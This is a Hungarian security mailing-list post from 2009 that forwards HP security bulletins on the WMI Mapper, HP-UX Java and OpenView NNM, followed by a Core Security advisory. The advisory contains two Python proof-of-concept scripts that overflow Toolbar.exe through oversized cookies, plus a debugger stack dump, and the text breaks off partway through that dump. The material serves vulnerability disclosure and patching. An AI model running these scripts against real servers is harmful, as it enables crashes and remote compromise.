[guru] HP biztonsagi frissitesek
DATE: Thu, 02 Apr 2009 17:42:07 +0200
HP-UX termékcsalád:
-------------------
A java futtatókörnyezetben több hibát is találtak, kihozták a javítást.
Nem részletezett, lokális támadhatóságot találtak a VERITAS File System
(VRTSvxfs) illetve VERITAS Oracle Disk Manager (VRTSodm) alkalmazásokban.
Ezek a Storage Management Suite (SMS) és a Storage Management for Oracle
(SMO) termékek részét képezik.
Kihozták az OpenSSL csomag EVP_VerifyFinal() visszatérési érték ellenőrzési
hibájának javítását, ami miatt a DSA és ECDSA aláírások ellenőrzése nem
volt megfelelő.
HP OpenView termékcsalád:
-------------------------
Heap buffer overflow hibát találtak a HP OpenView Network Node Manager
(OV NNM) ovspmd.exe binárisában.
Több stack és heap alapú buffer overflow hibát is találtak a szintén a
HP OpenView Network Node Manager (OV NNM) részét képező Toolbar.exe
és ovwww.dll (illetve libovwww.so.4) binárisokban.
Egyéb:
------
A HP Systems Insight Manager Windows verziójához tartozó WMI Mapper-ben
meg nem nevezett biztonsági hibákat találtak.
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01655638
Version: 1
HPSBMA02412 SSRT080040 rev.1 - WMI Mapper for HP Systems Insight Manager Running on Windows, Remote Unauthorized Access to Data, Local Unauthorized Access
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-03-09
Last Updated: 2009-03-09
Potential Security Impact: Remote unauthorized access to data, local unauthorized access
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with WMI Mapper for HP Systems Insight Manager running on Windows. The vulnerabilities could be exploited remotely to allow unauthorized access to data or locally to gain unauthorized access.
References: CVE-2009-0712, CVE-2009-0713
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
WMI Mapper for HP Systems Insight Manager prior to v2.5.2.0
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2009-0712 (AV:L/AC:L/Au:S/C:C/I:C/A:N) 6.2
CVE-2009-0713 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has provided the following software patch to resolve the vulnerability.
The patch can be downloaded from http://www.hp.com/bizsupport/
WMIMapper2_6_0.msi or subsequent
PRODUCT SPECIFIC INFORMATION
None
HISTORY
Version:1 (rev.1) - 9 March 2009 Initial release
Third Party Security Patches: Third party security patches which are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSbUbhuAfOvwtKn1ZEQJkFwCdHGcxKKJ05owJj9iPwE0yXFZrNqMAn2Bu
wmU0rQ9+y4JnT3C3/Joa2cBr
=pfZN
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01683026
Version: 1
HPSBUX02411 SSRT080111 rev.1 - HP-UX Running Java, Remote Execution of Arbitrary Code and Other Vulnerabilities
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-03-09
Last Updated: 2009-03-09
Potential Security Impact: Mulitple remote vulnerabilities
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified in Java Runtime Environment (JRE) and Java Developer Kit (JDK) running on HP-UX. These vulnerabilities may allow remote unauthorized access, privilege escalation, execution of arbitrary code, and creation of a Denial of Service (DoS)
References: SUNALERT ID: 244988 (CVE-2008-2086, CVE-2008-5339, CVE-2008-5340, CVE-2008-5341, CVE-2008-5342, CVE-2008-5343, CVE-2008-5344), 246387 (CVE-2008-5345), 246366 (CVE-2008-5347), 246346 (CVE-2008-5348), 246266 CVE-2008-5350), 245246 (CVE-2008-5351), 244991 (CVE-2008-5353), 244990 (CVE-2008-5354), 244987 (CVE-2008-5356, CVE-2008-5357, CVE-2008-5358, CVE-2008-5359), 244986 (CVE-2008-5360)
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP-UX B.11.11, B.11.23, B.11.31 running HP JDK and JRE 6.0.02 or earlier
HP-UX B.11.11, B.11.23, B.11.31 running HP JDK and JRE 5.0.14 or earlier
HP-UX B.11.11, B.11.23, B.11.31 running HP Java SDK and RTE 1.4.2.20 or earlier
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2008-2086 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 9.3
CVE-2008-5339 (AV:N/AC:L/Au:N/C:N/I:N/A:P) 5.0
CVE-2008-5340 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0
CVE-2008-5341 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0
CVE-2008-5342 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0
CVE-2008-5343 (AV:N/AC:L/Au:N/C:C/I:P/A:P) 9.0
CVE-2008-5344 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5
CVE-2008-5345 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5
CVE-2008-5347 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5
CVE-2008-5348 (AV:N/AC:M/Au:N/C:N/I:N/A:C) 7.1
CVE-2008-5350 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0
CVE-2008-5351 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5
CVE-2008-5353 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0
CVE-2008-5354 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 9.3
CVE-2008-5356 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 9.3
CVE-2008-5357 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 9.3
CVE-2008-5358 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 9.3
CVE-2008-5359 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 9.3
CVE-2008-5360 (AV:N/AC:L/Au:N/C:P/I:P/A:N) 6.4
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002
RESOLUTION
HP has provided the following upgrades to resolve these vulnerabilities
The upgrades are available from the following location:
http://www.hp.com/go/java
HP-UX B.11.31
JDK and JRE v6.0.03 or subsequent
JDK and JRE v5.0.15 or subsequent
SDK and JRE v1.4.2.21 or subsequent
HP-UX B.11.23
JDK and JRE v6.0.03 or subsequent
JDK and JRE v5.0.15 or subsequent
SDK and JRE v1.4.2.21 or subsequent
HP-UX B.11.11
JDK and JRE v6.0.03 or subsequent
JDK and JRE v5.0.15 or subsequent
SDK and JRE v1.4.2.21 or subsequent
MANUAL ACTIONS: Yes - Update
For Java v6.0.02 and earlier, update to Java v6.0.03 or subsequent.
For Java v5.0.14 and earlier, update to Java v5.0.15 or subsequent.
For Java v1.4.2.20 and earlier, update to Java v1.4.2.21 or subsequent.
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS
HP-UX B.11.11
HP-UX B.11.23
HP-UX B.11.31
===========
Jdk14.JDK14-COM
Jdk14.JDK14-IPF32
Jdk14.JDK14-IPF64
Jdk14.JDK14-PA11
Jdk14.JDK14-PA20
Jdk14.JDK14-PA20W
Jre14.JRE14-COM
Jre14.JRE14-IPF32
Jre14.JRE14-IPF32-HS
Jre14.JRE14-IPF64
Jre14.JRE14-IPF64-HS
Jre14.JRE14-PA11
Jre14.JRE14-PA11-HS
Jre14.JRE14-PA20
Jre14.JRE14-PA20-HS
Jre14.JRE14-PA20W
Jre14.JRE14-PA20W-HS
action: install revision 1.4.2.21.00 or subsequent
Jdk15.JDK15-COM
Jdk15.JDK15-PA20
Jdk15.JDK15-PA20W
Jdk15.JDK15-IPF32
Jdk15.JDK15-IPF64
Jre15.JRE15-COM
Jre15.JRE15-PA20
Jre15.JRE15-PA20-HS
Jre15.JRE15-PA20W
Jre15.JRE15-PA20W-HS
Jre15.JRE15-IPF32
Jre15.JRE15-IPF32-HS
Jre15.JRE15-IPF64
Jre15.JRE15-IPF64-HS
action: install revision 1.5.0.15.00 or subsequent
Jdk60.JDK60-COM
Jdk60.JDK60-PA20
Jdk60.JDK60-PA20W
Jdk60.JDK60-IPF32
Jdk60.JDK60-IPF64
Jre60.JRE60-COM
Jre60.JRE60-IPF32
Jre60.JRE60-IPF32-HS
Jre60.JRE60-IPF64
Jre60.JRE60-IPF64-HS
Jre60.JRE60-PA20
Jre60.JRE60-PA20-HS
Jre60.JRE60-PA20W
Jre60.JRE60-PA20W-HS
action: install revision 1.6.0.03.00 or subsequent
END AFFECTED VERSIONS
HISTORY
Version:1 (rev.1) 9 March 2009 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSbZgP+AfOvwtKn1ZEQLqWgCgpK0tTDWGRJkDVpWzhFqI3asVAsMAnjKq
R3jvTn4bcr1e7cmNVRj6zNp+
=8OKZ
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01682739
Version: 1
HPSBMA02413 SSRT080040 rev.1 - HP WMI Mapper for Windows Server 2003 and Windows Server 2008 for Itanium-based Servers, Remote Unauthorized Access to Data, Local Unauthorized Access
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-03-02
Last Updated: 2009-03-09
Potential Security Impact: Remote unauthorized access to data, local unauthorized access
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with HP WMI Mapper for Windows Server 2003 and Windows Server 2008 for Itanium-based Servers. The vulnerabilities could be exploited remotely to allow unauthorized access to data or locally to gain unauthorized access.
References: CVE-2009-0712, CVE-2009-0173
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP WMI Mapper for Windows Server 2003 and Windows Server 2008 for Itanium-based Servers prior to v2.5.2.0
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2009-0712 (AV:L/AC:L/Au:S/C:C/I:C/A:N) 6.2
CVE-2009-0713 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 5.0
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has provided the following software patch to resolve the vulnerability.
The patch can be downloaded from http://www.hp.com/bizsupport/
cp009156.exe or subsequent
PRODUCT SPECIFIC INFORMATION
None
HISTORY
Version:1 (rev.1) - 9 March 2009 Initial release
Third Party Security Patches: Third party security patches which are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
T = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBSbUcCuAfOvwtKn1ZEQJrMwCaAhl1lgab/HP3FI6bU25WCvIB+BMAoNwt
Kt7ZT+LTbsjG/xgoQZv9mLwO
=jZzr
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01466051
Version: 3
HPSBMA02338 SSRT080024, SSRT080041 rev.3 - HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code, Denial of Service (DoS)
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2008-06-09
Last Updated: 2009-03-18
Potential Security Impact: Remote execution of arbitrary code, Denial of Service (DoS)
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential vulnerability has been identified with HP OpenView Network Node Manager (OV NNM). The vulnerability could be exploited remotely execute arbitrary code or to create a Denial of Service (DoS).
References: CVE-2008-1842
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP OpenView Network Node Manager (OV NNM) v7.01, v7.51, v7.53 running on HP-UX, Solaris, Linux, and Windows
BACKGROUND
CVSS 2.0 Base Metrics
===============================================
Reference Base Vector Base Score
CVE-2008-1842 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
The Hewlett-Packard Company thanks Liu Zhen Hua of FortiGuard Global Security Research Team for reporting this vulnerability to security-alert@hp.com.
RESOLUTION
HP has made patches available to resolve the vulnerability.
The patches are available from http://support.openview.hp.com/selfsolve/patches
Note: The patches are not available from the HP IT Resource Center (ITRC).
OV NNM v7.53
===========
Operating System
Resolved in Patch
HP-UX (IA)
PHSS_38489 or subsequent
HP-UX (PA)
PHSS_38488 or subsequent
Linux RedHatAS2.1
LXOV_00087 or subsequent
Linux RedHat4AS-x86_64
LXOV_00088 or subsequent
Solaris
PSOV_03515 or subsequent
Windows
NNM_01193 or subsequent
OV NNM v7.51
Upgrade to NNM v7.53 and install the patches listed above. Patch bundles for upgrading from NNM v7.51 to NNM v7.53 are available here: ftp://nnm_753:update@hprc.external.hp.com/
OV NNM v7.01
===========
Operating System
Resolved in Patch
HP-UX (PA)
PHSS_38761 or subsequent
Solaris
PSOV_03516 or subsequent
Windows
NNM_01194 or subsequent
MANUAL ACTIONS: Yes - NonUpdate
Install the patches listed in the Resolution.
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS (for HP-UX)
For HP-UX OV NNM 7.51 and 7.53
HP-UX B.11.31
HP-UX B.11.23 (IA)
HP-UX B.11.23 (PA)
HP-UX B.11.11
=============
OVNNMgr.OVNNM-RUN,fr=B.07.50.00
action: install the patches listed in the Resolution
URL: http://support.openview.hp.com/selfsolve/patches
For HP-UX OV NNM 7.01
HP-UX B.11.11
=============
OVNNMgr.OVNNM-RUN,fr=B.07.01.00
action: install the patches listed in the Resolution
URL: http://support.openview.hp.com/selfsolve/patches
END AFFECTED VERSIONS (for HP-UX)
HISTORY
Version:1 (rev.1) - 9 June 2008 Initial release
Version:2 (rev.2) - 30 June 2008 New files available
Version:3 (rev.3) - 18 March 2009 Patches available for NNM v7.53 and NNM v7.01
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
©Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
iQA/AwUBScD1FOAfOvwtKn1ZEQJYmwCggO5NK9+ryC+TqyUDyWYm4amFlJ0AoIrr
Scuh2NA1hu2jKX6VOogZSQCJ
=Q5N/
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
HP OpenView Buffer Overflows
1. *Advisory Information*
Title: HP OpenView Buffer Overflows
Advisory ID: CORE-2009-0122
Advisory URL: http://www.coresecurity.com/content/openview-buffer-overflows
Date published: 2009-03-23
Date of last update: 2009-03-23
Vendors contacted: Hewlett-Packard
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Buffer overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 34134, 34135
CVE Name: CVE-2009-0920, CVE-2009-0921
3. *Vulnerability Description*
Several buffer overflows have been found in HP OpenView Network Node
Manager, which can be exploited to remotely compromise a user's system.
4. *Vulnerable packages*
. HP OpenView Network Node Manager 7.51
. HP OpenView Network Node Manager 7.53
. HP OpenView Network Node Manager 7.53 with patch NNM_01195
. Other versions may be affected.
5. *Vendor Information, Solutions and Workarounds*
The vendor will publish a security bulletin including solution
information [5].
6. *Credits*
These vulnerabilities were discovered and researched by Oren Isacson
from Core Security Technologies.
7. *Technical Description / Proof of Concept Code*
Several buffer overflows have been found in HP OpenView Network Node
Manager, which can be exploited to remotely compromise a user's system.
While working on an exploit for the vulnerabilities disclosed in the
advisory [3], three bugs were found. The stack-based bug found on CGI
parameter 'OvOSLocale' is similar to one of the bugs previously reported
in [3] whereas the two heap-based bugs are different vulnerabilities.
Versions 7.51, 7.53, and 7.53 with patch NNM_01195 were tested and all
of them were vulnerable. The two heap-based buffer overflows are
different vulnerabilities from those exposed publicly on CVE-2008-0067
because the vulnerabilities are not fixed with patch NNM_01195 and are
not mentioned on published advisories.
CVE identification code CVE-2009-0920 was assigned to the
unpatched/variant stack-based overflow related to CVE-2008-0067, and
CVE-2009-0921 was assigned for the two heap overflows. Bugtraq IDs
(BIDs) were assigned: 34134 for 'OvAcceptLang' parameter bug; and 34135
for the 'Accept-Language' HTTP header bug.
7.1. *Stack-based overflow (CVE-2009-0920)*
It is important to remark that the stack-based bug on parameter
'OvOSLocale', that we assumed to be mentioned on published advisories,
is not fixed by the previous patch NNM_01195. Proof of concept follows.
/-----------
import socket,sys
if len(sys.argv)!=3:
print "USAGE:OvOSLocale.py server port"
else:
req="GET /OvCgi/Toolbar.exe HTTP/1.0\nCookie:
OvOSLocale=en_US"+'a'*1400+"; OvAcceptLang=en-usa\n\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(('127.0.0.1',80))
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(req)
print s.recv(4000)
- -----------/
A debugger was used on a Windows system to see where the 'OvOSLocale'
overflow is located. The call stack shows that '_OVresetLangEnv' in
'ovutil.dll' calls 'ov.sprintf_new' in 'ov.dll' that calls '_vsnprintf'
in 'msvcrt.dll'. The destination buffer of the '_vsnprintf' is located
on the stack, the count is 0x7fff, the format is 'OV_LANG=%s', and the
string is too large for the stack buffer, causing the stack overflow. A
new CVE name was assigned, CVE-2009-0920, marking this bug as unfixed or
variant.
7.2. *Heap-based overflow (CVE-2009-0921, BID 34134)*
Sending HTTP requests to the 'Toolbar.exe' application with large
'OvAcceptLang' cookies causes a buffer overflow. For example the
following Python program causes an access violation on 'Toolbar.exe' if
executed on a windows machine running NNM Admin. The return code of the
web server is '502', signaling an error on the CGI application. Using
similar requests, remote code execution is possible. 'Toolbar.exe' is
just an exploitation path; in the case of parameter 'OvAcceptLang' the
bug is actually located on 'ov.dll' (i.e. on Windows).
/-----------
import socket,sys
if len(sys.argv)!=3:
print "USAGE:OvAcceptLang.py server port"
else:
req="GET /OvCgi/Toolbar.exe HTTP/1.0\nCookie: OvOSLocale=en_US;
OvAcceptLang=en-usa"+'a'*1400+"\n\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(req)
print s.recv(4000)
- -----------/
A debugger was also used to see where the 'OvAcceptLang' overflow is
located. The program being debugged is 'Toolbar.exe'. This is the call
stack of the '_vsnprintf' function that we think causes the overflow. It
can be seen that the real culprit is located in ovwww.dll. A call is
made to 'sprintf_new' with a destination buffer located in the heap that
is too small to hold the written string.
/-----------
0012724C 00392F98 ASCII "OvAcceptLang"
00127250 006C4BD0 ASCII
"en-usaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...
Call stack of main thread
Address Stack Procedure / arguments Called from
Frame
00117214 5A028A26 msvcrt._vsnprintf ov.5A028A20
0012723C
00117218 00117234 buffer = 00117234
0011721C 00007FFF count = 7FFF (32767.)
